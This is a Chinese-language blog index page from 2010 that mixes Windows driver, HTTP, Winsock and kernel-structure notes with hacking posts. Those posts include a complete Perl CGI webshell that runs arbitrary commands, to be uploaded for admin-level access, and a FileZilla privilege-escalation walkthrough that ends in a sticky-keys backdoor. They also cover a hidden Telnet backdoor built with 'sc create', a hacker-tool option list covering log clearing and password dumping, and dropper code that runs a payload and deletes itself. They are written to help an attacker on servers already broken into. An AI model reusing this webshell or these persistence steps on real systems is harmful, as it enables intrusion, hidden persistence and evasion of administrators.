驱动和应用层的三种通信方式
作者:admin 日期:2010-06-08
原文:sislcb(http://bbs.pediy.com/showthread.php?p=446641),表示感谢!
驱动程序和客户应用程序经常需要进行数据交换,但我们知道驱动程序和客户应用程序可能不在同一个地址空间,因此操作系统必须解决两者之间的数据交换。
驱动层和应用层通信,主要是靠DeviceIoControl函数,下面是该函数的原型:
BOOL DeviceIoControl (
HANDLE hDevice, // 设备句柄
DWORD dwIoControlCode, // IOCTL请求操作代码
LPVOID lpInBuffer, // 输入缓冲区地址
DWORD nInBufferSize, // 输入缓冲区大小
LPVOID lpOutBuffer, // 输出缓冲区地址
DWORD nOutBufferSize, // 输出缓冲区大小
LPDWORD lpBytesReturned, // 存放返回字节数的指针
LPOVERLAPPED lpOverlapped // 用于同步操作的Overlapped结构体指针
);
完整的分发函数
作者:admin 日期:2010-06-08
NTSTATUS ccpDispatch(PDEVICE_OBJECT device,PIRP irp)
{
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);
NTSTATUS status;
ULONG i,j;
// 首先要知道发送给了哪个设备。设备最多一共有CCP_MAX_COM_ID
// 个,是前面的代码保存好的,都在s_fltobj中
for(i=0;i<CCP_MAX_COM_ID;i++)
{
if(s_fltobj[i] == device)
{
// 所有电源操作,全部直接放过
if(irpsp->MajorFunction == IRP_MJ_POWER)
{
// 直接发送,然后返回说已经被处理了
PoStartNextPowerIrp(irp);
IoSkipCurrentIrpStackLocation(irp);
return PoCallDriver(s_nextobj[i],irp);
}
// 此外我们只过滤写请求。写请求,获得缓冲区及其长度
// 然后打印
if(irpsp->MajorFunction == IRP_MJ_WRITE)
{
// 如果是写,先获得长度
ULONG len = irpsp->Parameters.Write.Length;
// 然后获得缓冲区
PUCHAR buf = NULL;
if(irp->MdlAddress != NULL)
buf =
(PUCHAR)MmGetSystemAddressForMdlSafe(
irp->MdlAddress,NormalPagePriority);
else
buf = (PUCHAR)irp->UserBuffer;
if(buf == NULL)
buf = (PUCHAR)irp->AssociatedIrp.SystemBuffer;
// 打印内容
for(j=0;j<len;++j)
{
DbgPrint("comcap: Send Data: %2x\r\n",
buf[j]);
}
}
// 这些请求直接下发执行即可,我们并不禁止或者改变它
IoSkipCurrentIrpStackLocation(irp);
return IoCallDriver(s_nextobj[i],irp);
}
}
// 如果根本就不在被绑定的设备中,那是有问题的,直接返回参数错误
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
IoCompleteRequest(irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
HTTP协议详解
作者:admin 日期:2010-06-05
HTTP 是一个属于应用层的面向对象的协议,由于其简捷、快速的方式,适用于分布式超媒体信息系统。它于1990年提出,经过几年的使用与发展,得到不断地完善和 扩展。目前在WWW中使用的是HTTP/1.0的第六版,HTTP/1.1的规范化工作正在进行之中,而且HTTP-NG(Next Generation of HTTP)的建议已经提出。
HTTP协议的主要特点可概括如下:
1.支持客户/服务器模式。
2.简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。每种方法规定了客户与服务器联系 的类型不同。由于HTTP协议简单,使得HTTP服务器的程序规模小,因而通信速度很快。
3.灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。
4.无连接:无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请求,并收到客户的应答后,即断开连接。采用这种方式可以节省传输时 间。
5.无状态:HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这 样可能导致每次连接传送的数据量增大。另一方面,在服务器不需要先前信息时它的应答就较快。
asp获取真实ip
作者:admin 日期:2010-06-04
Dim strIPAddr
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" or InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
strIPAddr = Request.ServerVariables("REMOTE_ADDR")
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
Else
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
End If
getIP = Trim(Mid(strIPAddr, 1, 30))
End Function
使用这个函数能获得真实的ip地址,而不会是http代理服务器的地址
Microsoft.XMLHTTP
作者:admin 日期:2010-05-31
如何绕过防注入
作者:admin 日期:2010-05-31
利用Perl提权
作者:admin 日期:2010-05-30
Perl 语言由 Larry Wall 创建,最初作为一种实用解释语言。其主要功能最初是用于分析基于文本的数据和生成这些数据的统计或结果。随着 Internet 的普及推广,我们已经感受到 Perl 在 CGI 编程和处理格式数据上的强大功能。由于 Perl 对 process、文档和文字有很强的处理、变换能力,因此凡是有关快速原型设计、系统工具、软件工具、系统管理、资料库连结、图像程式设计、网络连结和 WWW 程式设计等之类的任务,都特别适合用 Perl 来完成
c:\prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell放到PERL目录下的BIN目中
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "
\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT, "\r\n\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
保存为cmd.pl上传至BIN目录执行,
(如果不能运行,可以试试改为cgi 扩展呢,把刚才的 pl文件改为 cgi文件)
在IE浏览窗口中提交提交 http://anyhost//cmd.pl?dir 即可开始执行命令,请注意这个SHELL是具有ADMIN权限的,能够添加帐号并加入管理员组,书写规则是在?后加入你需要执行的命令.
为什么安装PERL能导至黑客在服务器上提升权限呢?原理很简单,因为PERL在默认安装时BIN目录是具有EVERYONE的完全控制权限和CGI执行权限的,所以能执行任意命令,这是一个NTFS权限导至的提权漏洞.
asp实现端口扫描源码
作者:admin 日期:2010-05-30
今天碰到一个站很恶心,小马传上了大马楞是写不上,后来想了个办法只能把一个大马给拆解了。这是一个扫描端口的。以后碰到的时候直接就好用了。
<style type="text/css">
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
ASP实现TCP端口扫描的方法
ASP实现TCP端口扫描的方法body {background-color: #ffffff;font-size:14px; }
a:link {color: #0000FF;text-decoration: none;}
a:visited {text-decoration: none;color: #0000FF;}
a:hover {text-decoration: none;color: #FF0000;}
a:active {text-decoration: none;color: #FF0000;}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
.styleRed {color: #FF0000}
</style>
<title>ASP TCP Port Scanner for SpringBoard</title>
<%
cain嗅探突破ARP防火墙
作者:admin 日期:2010-05-29
VC实现将资源打包并释放到指定文件夹
作者:admin 日期:2010-05-26
很多安装程序或者比较高级点的智能程序都已经这样做,比如文件损坏时,安装程序将修复这些文件.一些高级程序的常用设置及文件
遇到破坏时, 也会自我修复,它们的这些神奇功能,全都是依靠自身的资源包,替换损坏的文件,或者创建新的默认文件实现的.
下面我来说一说这种程序比较普通的一些做法:
首先在程序入口处,我们以MFC程序为例子,我们找到APP文件,在InitInstance()中执行文件检查, 如果发现某些文件损坏或者不存在,
那么我们将自身资源包的正常文件释放出来,在这里我给出两个函数,一个是检查指定文件是否存在,另一个是释放资源包文件的函数.
BOOL FileExteriorFile(LPCTSTR FileName)//查找指定的文件是否存在
{
WIN32_FIND_DATA fd;
HANDLE hd=::FindFirstFile(FileName,&fd);//开始查找
if(hd==INVALID_HANDLE_VALUE)
{
return FALSE;
}
FindClose(hd);//关闭查找
return TRUE;
}
发现不存在时,将调用下面的函数释放资源包的文件
//将指定资源释放到指定目录下生成特定文件
BOOL FreeMyData(LPCTSTR ResName, LPCTSTR ResType, LPCTSTR FileName, int Type)
{
BOOL bRet = TRUE;
HINSTANCE hInst = AfxGetInstanceHandle();
//先判断我们指定的资源是否存在
HRSRC hResInfo = FindResource(hInst,ResName,ResType);
if(hResInfo == NULL)
return FALSE;
HANDLE hFile = NULL;
DWORD dwWritten = 0;
// 开始调入指定的资源到内存
HGLOBAL hResData = LoadResource(hInst,hResInfo);
LPVOID pvResData = LockResource(hResData);
DWORD dwResSize = SizeofResource(hInst,hResInfo);
//再创建目标文件并保存数据至文件
if(Type == 1)//系统加隐藏属性 如果指定类型为1,那么加上系统和隐藏属性,防止普通用户对文件进行破坏
{
hFile = CreateFile(FileName,GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_Delete,
NULL,Create_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM, NULL);
WriteFile(hFile, pvResData, dwResSize, &dwWritten, NULL);
}
else
{
hFile = CreateFile(FileName,GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_Delete,
NULL,Create_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, pvResData, dwResSize, &dwWritten, NULL);
}
if(hFile == INVALID_HANDLE_VALUE)//创建文件失败
{
FreeResource(hResData);
return FALSE;
}
//释放有关内存资源
CloseHandle(hFile);
FreeResource(hResData);
return TRUE;
}
将上面两个函数COPY到你工程的APP文件中,现在假设你已将一个 Demo.dat文件通过资源映射导入工程当中,类型属于ExFile,文件名是IDR_EXFILE1,
那么你在 InitInstance()中的调用形式如下:
if(!FileExteriorFile(FileName))//注意:FileName是你指定目录下的指定文件
{
if(!FreeMyData(MAKEINTRESOURCE(IDR_EXFILE1), "ExFile", FileName,0))//释放文件到指定目录
{
MessageBox(NULL,FileName,"Free File Fail:",MB_ICONERROR);
}
}
这样你就已实现了将资源包释放出来替换或者覆盖某些文件的目的,你可以释放的文件类型可以是EXE文件,DLL文件等等.
在编写该程序的过程当中,我还加入了很多特殊的功能,比如释放出一个新的EXE文件,然后执行,再把自身销毁,这个时候杀毒程序警告我,这是一个病毒,
哈哈,可能病毒就是这样的搞的.那么你还等什么,赶快试试吧.
MT的详细用法
作者:admin 日期:2010-05-18
用法: mt.exe <选项>
选项 :
-filter ---更改 TCP/IP 过滤器的开头状态
-addport ---添加端口到过滤器的允许列表
-setport ---设置端口作为过滤器的允许列表
-nicinfo ---列出 TCP/IP 界面信息
-pslist ---列出活动进程
-pskill ---杀毒指定进程
-dlllist ---列出指定进程的 DLL
-sysinfo ---列出系统信息
-shutdown ---关闭系统
-reboot ---重启系统
-poweroff ---关闭电源
-logoff ---注销当前用户会话
-chkts ---检查终端服务信息
-setupts ---安装终端服务
-remts ---卸载终端服务
-chgtsp ---重置终端服务端口
-clog ---清除系统日志
-enumsrv ---列出所有服务
-querysrv ---列出指定服务的详细信息
-instsrv ---安装一个服务
-cfgsrv ---更改服务配置
-remsrv ---卸载指定服务
-startsrv ---启动指定服务
-stopsrv ---停止指定服务
-netget ---从 http/ftp 下载
-redirect ---端口重定向
-chkuser ---列出所有账户、sid 和 anti 克隆
-clone ---克隆 admin 到目标
-never ---设置账户看上去从未登录
-killuser ---删除账户,甚至是 "guest" 也可删除
-su ---以 Local_System 权限运行进程
-findpass ---显示所有已登录用户的口令
-netstat ---列出 TCP 连接
-killtcp ---杀死 TCP 连接
-psport ---映射端口到进程
-touch ---设置文件日期和时间到指定值
-secdel ---安全擦除文件或目录占用的空间
-regshell ---进入一个控制台注册表编辑器
-chkdll ---检测 gina dll 后门
1.mt -sysinfo 查看机器配置
先来看一下..看到没??这里就会列举出来本机的各种配置信息....看下面.这里面列举了现在系统打过的补丁,这里显示了本机硬件的配置..CPU等..这里显示了本机IP地址,子网,和网关...
c语言winsock 实现域名解析
作者:admin 日期:2010-05-16
Console Functions
作者:admin 日期:2010-05-16
The following functions used to access a console.
AllocConsole
CreateConsoleScreenBuffer
FillConsoleOutputAttribute
FillConsoleOutputCharacter
FlushConsoleInputBuffer
FreeConsole
GenerateConsoleCtrlEvent
GetConsoleCP
GetConsoleCursorInfo
GetConsoleMode
GetConsoleOutputCP
GetConsoleScreenBufferInfo
GetConsoleTitle
GetLargestConsoleWindowSize
GetNumberOfConsoleInputEvents
GetNumberOfConsoleMouseButtons
GetStdHandle
HandlerRoutine
PeekConsoleInput
ReadConsole
ReadConsoleInput
ReadConsoleOutput
ReadConsoleOutputAttribute
ReadConsoleOutputCharacter
ScrollConsoleScreenBuffer
SetConsoleActiveScreenBuffer
SetConsoleCP
SetConsoleCtrlHandler
SetConsoleCursorInfo
SetConsoleCursorPosition
SetConsoleMode
SetConsoleOutputCP
SetConsoleScreenBufferSize
SetConsoleTextAttribute
SetConsoleTitle
SetConsoleWindowInfo
SetStdHandle
WriteConsole
WriteConsoleInput
WriteConsoleOutput
WriteConsoleOutputAttribute
WriteConsoleOutputCharacter
网络字节换函数
作者:admin 日期:2010-05-15
socket编程时网络传输数据必须转换为网络字节序,而且不管IP是哪种字节序系统识别都必须为unsigned long型,点分式IP仅方便记忆,下面介绍一些常用转换函数。
函数原型:unsigned long inet_addr( const char* cp ); 将char*类型转换为网络字节顺序,返回32位的unsigned long型,例addrSrv.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");其中addrSrv是套接字对象。
函数原型:char* FAR inet_ntoa( struct in_addr in ); 参数为in_addr结构体,返回点分格式的IP地址。
函数原型:u_long htonl( u_long hostlong );
FileZilla提权
作者:admin 日期:2010-05-10
事情的起因:一次拿到一个个人讲师的webshell,想提权,服务器权限设置的不严,但是提权不好提,只有一个C盘,也没装什么软件,没 mysql,mssql,su,360等一些熟悉的提权软件。执行下命令看看吧!netstat -an看到有个默认的端口14147网上搜了下原来是一款叫做FileZilla的FTP软件的一个管理端口。网上搜了下FileZilla提权,还真有http://xiaoyi.us/archFPipe.exeives/230。用了此上说的方法,但是始终连接不上,可能真的像作者说的对与网络的带宽的要求很高,或者是硬防的问题。但是自己后来想,serv-U能通过lcx直接转发,然后本地连接,为什么还要用FPipe.exe这东西呢!重新试了下,转发的太少了,还是网速问题。5秒左右才返回一个5bytes数据包给本地。难道这个办法不行?不死心在虚拟机实验了。成功了,就有了此文。
首先找到FileZilla的安装目录,打开FileZilla Server Interface.xml,里面有管理口令
在虚拟机里进行转发如下图
这里使用的本地IP是127.0.0.1因为FileZilla的管理IP地址只能是127.0.0.1
转发成功了,返回信息
接下来就是用FileZilla客户端来连接了
嘿嘿,连接成功
接下来就是添加用户,设置目录为C盘,权限设置为完全控制即可
FileZilla Server不比serv-U,可以quote site exec执行dos命令,要实现提权的话可以FTP登录上去操作文件管理,如替换系统服务、替换系统文件、将程序置于启动目录等等。
我这里就替换粘贴键了,3389登陆,5下shift拿下服务器。
巧建Telnet后门
作者:admin 日期:2010-05-04
(一) 关于"Telnet"
Telnet用于Internet的远程登录.它可以使用户坐在已上网的电脑键盘前通过网络进入另一台已上网的电脑,使它们互相连通.这种连通可以发生在同一房间里面的电脑,或是在世界各范围内已上网的电脑.习惯上来说,被连通并且为网络上所有用户提供服务的计算机称之为服务器(Servers),而自己使用的机器则称之为客户机(Customer).一旦连通后,客户机可以享有服务器所提供的一切服务.用户可以进行通常的交互过程(注册进入,执行命令),也可以进入很多特殊的服务器,如寻找图书索引.网上不同的主机提供的各种服务都可以被使用.
下面介绍我们来认识一下关于Telnet的相关程序.
telnet.exe是客户机程序(Client),我们本地机登陆远程服务器就是通过它.
tlntsvr.exe是服务器程序(Server),在远程服务器运行,由Telnet服务指向并启动.
tlntadmn.exe是Telnet服务器管理程序,可以用它对服务器程序进行配置.
我们可以看到,如此方便的程序,给黑客们做后门是再好不过了.然而,服务器管理员迫于Telnet的"好名声",不敢享用这个好东西,纷纷把它禁用掉了,这就把我们小黑们用Telnet的权利给剥夺了.
(二) 夺回使用Telnet服务的权利
拿到服务器后,建个隐藏用户是"小菜一碟".但是以后我们通过什么样的途径进入呢?此时,服务端禁用的Telnet服务常令小黑们咬牙切齿.要想使用它必须让服务器端程序tlntsvr.exe运行.不过,如果把禁用的服务重新启用,不等于告诉管理员我们到这里遛过一圈吗?看来只能另想其他方法了.这里我给大家提供两种方法:
方法一:
既然tlntsvr.exe是提供服务的主程序,我们重新建立一个服务指向它不就行了.这样查看服务时,Telnet服务虽然仍被禁用,可实际上,新建的服务已经让tlntsvr.exe为我们大开方便之门.
首先,在服务器端建立服务.我们用Windows自带的程序sc.exe实现.在命令行下键入"sc"显示帮助文件,sc.exe用法很多,这里我们用"sc create"命令来创建服务.
用法:sc create [service name] [binPath= ] <option1> <option2>...
键入命令 "sc create Security binPath= c:\windows\system32\tlntsvr.exe start= auto"
表示创建一个服务名称为Security,启动类型为自动的服务,服务指向程序"c:\windows\system32\tlntsvr.exe".
如果显示 [SC] CreateService SUCCESS 则表示服务创建成功.
然后,用"net start Security"命令启动服务.
这时,我们打开服务管理可见,Security服务已经启动,但Telnet服务依然显示禁用.(如图1)。
方法二:
上述方法虽然可以实现我们的目的,但缺点也是有的.我们用奇虎360查看一下服务(如图2)
Linux命令速查手册
作者:admin 日期:2010-05-02
LDR_MODULE结构
作者:admin 日期:2010-04-26
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
PEB_LDR_DATA结构
作者:admin 日期:2010-04-26
TEB结构
作者:admin 日期:2010-04-26
typedef struct _TEB {
NT_TIB Tib;
PVOID EnvironmentPointer;
CLIENT_ID Cid;
PVOID ActiveRpcInfo;
PVOID ThreadLocalStoragePointer;
PPEB Peb;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG Win32ClientInfo[0x1F];
PVOID WOW32Reserved;
ULONG CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[0x36];
PVOID Spare1;
ULONG ExceptionCode;
ULONG SpareBytes1[0x28];
PVOID SystemReserved2[0xA];
ULONG GdiRgn;
ULONG GdiPen;
ULONG GdiBrush;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocaleInfo;
PVOID UserReserved[5];
PVOID GlDispatchTable[0x118];
ULONG GlReserved1[0x1A];
PVOID GlReserved2;
PVOID GlSectionInfo;
PVOID GlSection;
PVOID GlTable;
PVOID GlCurrentRC;
PVOID GlContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[0x105];
PVOID DeallocationStack;
PVOID TlsSlots[0x40];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[0x2];
ULONG HardErrorDisabled;
PVOID Instrumentation[0x10];
PVOID WinSockData;
ULONG GdiBatchCount;
ULONG Spare2;
ULONG Spare3;
ULONG Spare4;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
PVOID StackCommit;
PVOID StackCommitMax;
PVOID StackReserved;
} TEB, *PTEB;